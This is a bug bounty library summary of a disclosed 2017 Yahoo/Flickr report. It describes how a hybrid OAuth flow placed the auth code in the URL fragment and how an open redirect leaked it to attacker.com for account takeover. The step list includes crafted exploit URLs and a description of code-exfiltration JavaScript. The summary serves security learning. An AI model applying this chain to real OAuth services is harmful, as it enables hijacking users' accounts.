# Yahoo Bug Bounty: Exploiting OAuth Misconfiguration To Takeover Flickr Accounts

Yahoo OAuth with response_type 'code id_token' put the code in the URL fragment, and a Flickr open redirect leaked it, enabling full Flickr account takeover.

- Payout: $4,000
- Severity: high
- Program: Yahoo! / Verizon Media
- Credited: Michael Reizelman
- Disclosed: 2017-10-12
- Write-up quality: 8/10
- Original: https://mishresec.wordpress.com/2017/10/12/yahoo-bug-bounty-exploiting-oauth-misconfiguration-to-takeover-flickr-accounts/
- Library page: https://bugbountylibrary.com/r/blog%3Amishresec-wordpress-com-2017-10-12-yahoo-bug-bounty-exploiting-oauth-misconfiguration-to-takeover-flickr-accounts
- Tags: domain:mobile domain:web impact:ato kind:bounty platform:blog sev:high tech:oauth tech:oidc technique:chained vuln:account-takeover vuln:auth-bypass vuln:open-redirect

**Target:** Yahoo OAuth2/OpenID Connect endpoint and Flickr signin/sharing_connect.gne
**Root cause:** Yahoo's OAuth endpoint, when response_type included id_token, appended code and id_token to the URL fragment instead of the query string; Flickr's redirect handler preserved the fragment across redirects.
**Steps:**
1. Set `response_type=code id_token` on `https://api.login.yahoo.com/oauth2/request_auth`; observe code and id_token returned in the `#` fragment.
2. Generate an attacker-owned code and craft `redirect_uri=https://www.flickr.com/signin/yahoo/oauth/?code={attacker_code}&redir=...` so Flickr accepts the request and performs the redirect.
3. Find open redirect on `https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fattacker.com%2F` (app-only endpoint).
4. Nest the open redirect in `redir` so the fragment carrying the victim's code survives to attacker.com.
5. Extract `code` from the fragment via JavaScript and browse `https://www.flickr.com/signin/yahoo/oauth/?redir=...&code={victim_code}` to log in as the victim.
**How found:** Reading Yahoo's OpenID Connect docs revealed response_type could hold multiple values; testing `code id_token` showed the code moved to the fragment. Knowing fragments persist across redirects, the author needed an open redirect on flickr.com, which he found by downloading the Flickr Android app and probing the app-only sharing_connect.gne endpoint with a bad token.
**Exploitation:** Attacker sends victim a crafted Yahoo OAuth URL containing the attacker's own code and a nested Flickr open redirect. Victim's browser is logged into the attacker's Flickr session, then redirected through sharing_connect.gne to attacker.com with the victim's code and id_token in the fragment. Attacker's JS reads the code and replays it to Flickr's signin endpoint, authenticating as the victim.
**Insight:** When an OAuth provider supports multi-valued response_type, test hybrid flows (code id_token) — the token may land in the fragment, which survives redirects and can be exfiltrated via any open redirect on the whitelisted domain. Mobile-app-only endpoints (like sharing_connect.gne) are a good source of open redirects missed by web-only testing.